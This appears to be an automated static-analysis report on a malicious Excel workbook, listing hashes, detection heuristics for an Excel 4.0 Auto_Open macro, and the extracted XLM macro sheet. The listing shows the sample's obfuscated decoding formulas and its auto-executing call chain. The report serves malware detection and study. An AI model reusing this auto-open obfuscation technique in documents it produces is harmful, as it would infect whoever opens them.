Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6363fe8337aa69d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:47 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5e739d0d675952b106ec163ccfd33c51 SHA-1: 1543c5fda3ccba083ff0cc916209fc809111e752 SHA-256: c6363fe8337aa69d447c488648cf7a2b9656babf9704e4bae7844dc8e7b7c2c5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6782 bytes
SHA-256: ae7881fb1f21b1eff9e4a6e31910e53743b76f023febfba9bb3d8246c05acbda
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KEpSlkqMq
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H171 
' 0018     23 LABEL : Cell Value, String Constant - ccNwyyux len=0 
' 0018     26 LABEL : Cell Value, String Constant - CJiqzHrWJbe len=0 
' 0018     25 LABEL : Cell Value, String Constant - dpvcdROVEI len=0 
' 0018     27 LABEL : Cell Value, String Constant - EJcsgdMuRmGC len=0 
' 0018     25 LABEL : Cell Value, String Constant - flEQaNklPj len=0 
' 0018     20 LABEL : Cell Value, String Constant - hHPxZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - NCDnYdPkefVf len=0 
' 0018     20 LABEL : Cell Value, String Constant - oTSfR len=0 
' 0018     25 LABEL : Cell Value, String Constant - pFUfzUCdFr len=0 
' 0018     25 LABEL : Cell Value, String Constant - qJWmXMrHTK len=0 
' 0018     25 LABEL : Cell Value, String Constant - SZalhYodwy len=0 
' 0018     20 LABEL : Cell Value, String Constant - tXgcZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - WLrlyPWBou len=0 
' 0018     24 LABEL : Cell Value, String Constant - wMItPvxGh len=0 
' 0018     20 LABEL : Cell Value, String Constant - wnAeE len=0 
' 0018     20 LABEL : Cell Value, String Constant - wuFlp len=0 
' 0018     26 LABEL : Cell Value, String Constant - XLLwqOnJJGi len=0 
' 0018     24 LABEL : Cell Value, String Constant - yHUNmOBzN len=0 
' 0018     23 LABEL : Cell Value, String Constant - zBmNbhlX len=0 
' 0018     23 LABEL : Cell Value, String Constant - zrZjUTGP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KEpSlkqMq,H86,"SET.NAME("oTSfR",0+VALUE("0"))",""
'  KEpSlkqMq,R88,"",-162.00000000000000000000
'  KEpSlkqMq,R89,"",674.00000000000000000000
'  KEpSlkqMq,H90,"SET.NAME("ccNwyyux",oTSfR)",""
'  KEpSlkqMq,R90,"",786.00000000000000000000
'  KEpSlkqMq,R91,"",988.00000000000000000000
'  KEpSlkqMq,H92,"SET.NAME("hHPxZ",oTSfR)",""
'  KEpSlkqMq,R92,"",232.00000000000000000000
'  KEpSlkqMq,R93,"",624.00000000000000000000
'  KEpSlkqMq,H96,"SET.NAME("XLLwqOnJJGi",COUNTA(wMItPvxGh))",""
'  KEpSlkqMq,H98,"SET.NAME("zBmNbhlX",COUNTA(qJWmXMrHTK))",""
'  KEpSlkqMq,H100,[],""
'  KEpSlkqMq,H103,"SET.NAME("yHUNmOBzN","")",""
'  KEpSlkqMq,H107,"ccNwyyux",""
'  KEpSlkqMq,H111,"SET.NAME("NCDnYdPkefVf",HLOOKUP("*",wMItPvxGh,ccNwyyux,FALSE))",""
'  KEpSlkqMq,H113,"SZalhYodwy",""
'  KEpSlkqMq,H118,"SET.NAME("zrZjUTGP",oTSfR)",""
'  KEpSlkqMq,H123,[],""
'  KEpSlkqMq,H126,"zrZjUTGP",""
'  KEpSlkqMq,H128,"CJiqzHrWJbe",""
'  KEpSlkqMq,H132,"WLrlyPWBou",""
'  KEpSlkqMq,H134,"tXgcZ",""
'  KEpSlkqMq,H138,"SET.NAME("pFUfzUCdFr",VALUE(HLOOKUP("*",qJWmXMrHTK,tXgcZ,FALSE)))",""
'  KEpSlkqMq,H141,"wnAeE",""
'  KEpSlkqMq,H143,"yHUNmOBzN",""
'  KEpSlkqMq,H147,"hHPxZ",""
'  KEpSlkqMq,H151,NEXT(),""
'  KEpSlkqMq,H155,"dpvcdROVEI",""
'  KEpSlkqMq,H157,[],""
'  KEpSlkqMq,H162,"wuFlp",""
'  KEpSlkqMq,H166,NEXT(),""
'  KEpSlkqMq,H168,RETURN(),""
'  KEpSlkqMq,H191,"SET.NAME("flEQaNklPj",H86)",""
'  KEpSlkqMq,H196,"wMItPvxGh",""
'  KEpSlkqMq,H200,"SET.NAME("qJWmXMrHTK",R45C13)",""
'  KEpSlkqMq,H204,"SET.NAME("wuFlp",212)",""
'  KEpSlkqMq,H206,"SET.NAME("EJcsgdMuRmGC",8)",""
'  KEpSlkqMq,H211,flEQaNklPj(),""
'  KEpSlkqMq,H212,HALT(),""

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